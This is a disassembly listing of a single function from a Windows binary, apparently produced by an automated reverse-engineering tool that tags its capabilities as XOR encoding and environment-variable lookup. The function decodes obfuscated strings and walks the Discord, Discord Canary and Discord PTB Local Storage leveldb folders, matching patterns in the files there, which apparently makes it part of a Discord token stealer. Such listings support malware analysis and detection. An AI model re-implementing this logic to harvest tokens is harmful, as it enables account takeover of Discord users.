Function at 0x14005ae90
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x490
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rbp + 0x370], rax
mov r13, rcx
xor r15d, r15d
mov dword [rsp + 0x40], r15d
mov rax, qword [str.qabwuaw7]
mov qword [rsp + 0x58], rax
lea edi, [r15 + 0x1f]
cmp byte [0x1400fee47], r15b
je 0x14005b053
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14005b00b
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movd xmm5, edi
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.00000000000000003333333333333333]
movd xmm0, dword [rsp + 0x58]
pxor xmm2, xmm0
movd dword [rsp + 0x58], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.00000000000000003333333333333333]
movd xmm0, dword [rsp + 0x5c]
pxor xmm2, xmm0
movd dword [rsp + 0x5c], xmm2
jmp 0x14005b053
lea r9, [rsp + 0x58]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14005b020
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x14005b080
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140012c50
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov qword [rbp + 0xc0], r15
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0xf0]
sub rax, rcx
cmp rax, 0x1f
jb 0x14005b9fd
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r9, qword [rbp + 0xe0]
mov qword [rsp + 0x30], rdi
lea rax, str.discordLocal_Storageleveldb_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call fcn.140035fc0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, qword [rbp + 0xc0]
je 0x14005b13c
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rdx + 0x10], xmm1
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x78], rax
mov byte [rsp + 0x70], 0
add qword [rbp + 0xb8], 0x20
jmp 0x14005b151
lea r8, [rsp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.140060f30
mov rax, qword [rbp - 0x78]
cmp rax, 0x10
jb 0x14005b18a
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b185
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b32a
call fcn.1400e44b0
mov rax, rbx
mov rcx, qword [rbp + 0xf0]
sub rax, rcx
cmp rax, 0x26
jb 0x14005b9fd
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r9, qword [rbp + 0xe0]
mov qword [rsp + 0x30], Ordinal_46
lea rax, str.Discord_CanaryLocal_Storageleveldb_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x70]
call fcn.140035fc0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, qword [rbp + 0xc0]
je 0x14005b212
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rdx + 0x10], xmm1
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x58], rax
mov byte [rbp - 0x70], 0
add qword [rbp + 0xb8], 0x20
jmp 0x14005b226
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
call fcn.140060f30
mov rax, qword [rbp - 0x58]
cmp rax, 0x10
jb 0x14005b25e
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b259
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b32a
call fcn.1400e44b0
mov rax, qword [rbp + 0xf0]
sub rbx, rax
cmp rbx, 0x22
jb 0x14005b9fd
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r9, qword [rbp + 0xe0]
mov qword [rsp + 0x30], Ordinal_41
lea rcx, str.discordptbLocal_Storageleveldb_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x50]
call fcn.140035fc0
mov ebx, 0x1c0
mov rdx, qword [rbp + 0xb8]
cmp rdx, qword [rbp + 0xc0]
je 0x14005b2e7
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rdx + 0x10], xmm1
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], rax
mov byte [rbp - 0x50], 0
add qword [rbp + 0xb8], 0x20
jmp 0x14005b2fb
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0xb0]
call fcn.140060f30
mov rax, qword [rbp - 0x38]
cmp rax, 0x10
jb 0x14005b336
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b331
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r12, qword [rbp + 0xb0]
mov r14, qword [rbp + 0xb8]
mov qword [rsp + 0x60], r14
cmp r12, r14
je 0x14005b851
nop dword [rax]
nop word [rax + rax]
mov rsi, qword [r12 + 0x10]
mov rdi, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14005b374
mov rdi, qword [r12]
call fcn.1400e3b24
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.1400595c0
or ebx, 0xc
lea rcx, [rbp + 0x30]
call fcn.14005aa90
cmp al, 1
sete dil
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x14005b3e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b3dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b8b5
call fcn.1400e44b0
test dil, dil
je 0x14005b83a
mov rsi, qword [r12 + 0x10]
mov rdi, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14005b3ff
mov rdi, qword [r12]
call fcn.1400e3b24
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rsi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400595c0
or ebx, 0x30
mov dword [rsp + 0x40], ebx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xd0]
call fcn.14005f1d0
test eax, eax
jne 0x14005b9ea
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x14005b485
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b480
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b8bc
call fcn.1400e44b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov rdi, qword [rbp + 0xd8]
test rdi, rdi
je 0x14005b4aa
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0xd8]
mov ebx, dword [rsp + 0x40]
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x100], xmm0
test rdi, rdi
je 0x14005b4cd
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0xd8]
mov ebx, dword [rsp + 0x40]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
test rdi, rdi
je 0x14005b527
mov eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14005b51c
mov rbx, qword [rbp + 0xd8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005b51c
mov rdi, qword [rbp + 0xd8]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14005b523
mov rdi, qword [rbp + 0xd8]
mov ebx, dword [rsp + 0x40]
mov rsi, qword [rbp + 0xd0]
test rsi, rsi
je 0x14005b7a6
nop word [rax + rax]
lea rdx, [rbp + 0x50]
lea rcx, [rsi + 0x20]
call fcn.140059ac0
nop
or ebx, 1
mov dword [rsp + 0x40], ebx
mov ecx, dword [0x1400fee80]
mov dword [rsp + 0x48], ecx
movzx ecx, byte [0x1400fee84]
mov byte [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x49], 0x31
xor byte [rsp + 0x4a], 0x32
xor byte [rsp + 0x4b], 0x33
xor cl, 0x34
mov byte [rsp + 0x4c], cl
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.14005e710
cmp rax, 0xffffffffffffffff
jne 0x14005b5ec
lea rdx, [rbp - 0x10]
lea rcx, [rsi + 0x20]
call fcn.140059ac0
or ebx, 2
mov dword [rsp + 0x40], ebx
mov ecx, dword [0x1400fed18]
mov dword [rsp + 0x50], ecx
movzx ecx, byte [0x1400fed1c]
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x51], 0x31
xor byte [rsp + 0x52], 0x32
xor byte [rsp + 0x53], 0x33
xor cl, 0x34
mov byte [rsp + 0x54], cl
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.14005e710
cmp rax, 0xffffffffffffffff
jne 0x14005b5ec
xor r14b, r14b
jmp 0x14005b5ef
mov r14b, 1
test bl, 2
je 0x14005b64a
and ebx, 0xfffffffd
mov dword [rsp + 0x40], ebx
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14005b636
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b631
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b8c3
call fcn.1400e44b0
mov qword [rbp], 0
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
test bl, 1
je 0x14005b691
and ebx, 0xfffffffe
mov dword [rsp + 0x40], ebx
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x14005b691
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b68c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b8ca
call fcn.1400e44b0
test r14b, r14b
je 0x14005b6f0
lea rdx, [rbp + 0x70]
lea rcx, [rsi + 0x20]
call fcn.140059ac0
nop
mov rdx, rax
mov rcx, r13
call fcn.14005ba10
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14005b6f0
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b6e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b8d1
call fcn.1400e44b0
nop
lea rdx, [rbp + 0x120]
mov rcx, qword [rsi + 0x40]
call fcn.1400e3d84
cmp eax, 0x12
je 0x14005b747
test eax, eax
jne 0x14005ba03
cmp word [rbp + 0x14c], 0x2e
jne 0x14005b733
movzx eax, word [rbp + 0x14e]
test ax, ax
je 0x14005b6f0
cmp ax, 0x2e
jne 0x14005b733
cmp word [rbp + 0x150], 0
je 0x14005b6f0
lea rdx, [rbp + 0x120]
mov rcx, rsi
call fcn.14005a860
jmp 0x14005b540
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
test rdi, rdi
je 0x14005b7a1
mov eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14005b796
mov rbx, qword [rbp + 0xd8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005b796
mov rdi, qword [rbp + 0xd8]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14005b79d
mov rdi, qword [rbp + 0xd8]
mov ebx, dword [rsp + 0x40]
mov r14, qword [rsp + 0x60]
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x14005b7f7
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14005b7ec
mov rbx, qword [rbp + 0x108]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005b7ec
mov rcx, qword [rbp + 0x108]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rbp + 0xd8]
test rdi, rdi
je 0x14005b83a
mov eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14005b836
mov rbx, qword [rbp + 0xd8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005b836
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov ebx, dword [rsp + 0x40]
add r12, 0x20
cmp r12, r14
jne 0x14005b360
mov r12, qword [rbp + 0xb0]
xor r15d, r15d
mov rdi, qword [r13 + 0x70]
mov rbx, qword [r13 + 0x68]
cmp rbx, rdi
je 0x14005b909
mov qword [rsp + 0x60], 0x3e8
lea rsi, [0x140117cb8]
mov rcx, qword [r13 + 0x70]
sub rcx, qword [r13 + 0x68]
sar rcx, 5
mov rdx, qword [0x140117cc8]
mov r8, qword [0x140117cd0]
cmp rdx, r8
jae 0x14005b8d8
lea rax, [rdx + 1]
mov qword [0x140117cc8], rax
mov rax, rsi
cmp r8, 0x10
cmovae rax, qword [0x140117cb8]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14005b8eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rsi
call fcn.140012d50
lea rcx, [rsp + 0x60]
call fcn.14005f450
add rbx, 0x20
cmp rbx, rdi
jne 0x14005b872
mov r12, qword [rbp + 0xb0]
test r12, r12
je 0x14005b971
mov rdx, qword [rbp + 0xb8]
mov rcx, r12
call fcn.140060080
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [rbp + 0xb0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b95a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b95a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14005b9b5
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b9b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b9b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.1400e4490
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x10]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14005a5f0
nop
call fcn.140011890
nop
mov edx, eax
call fcn.14005a500
int3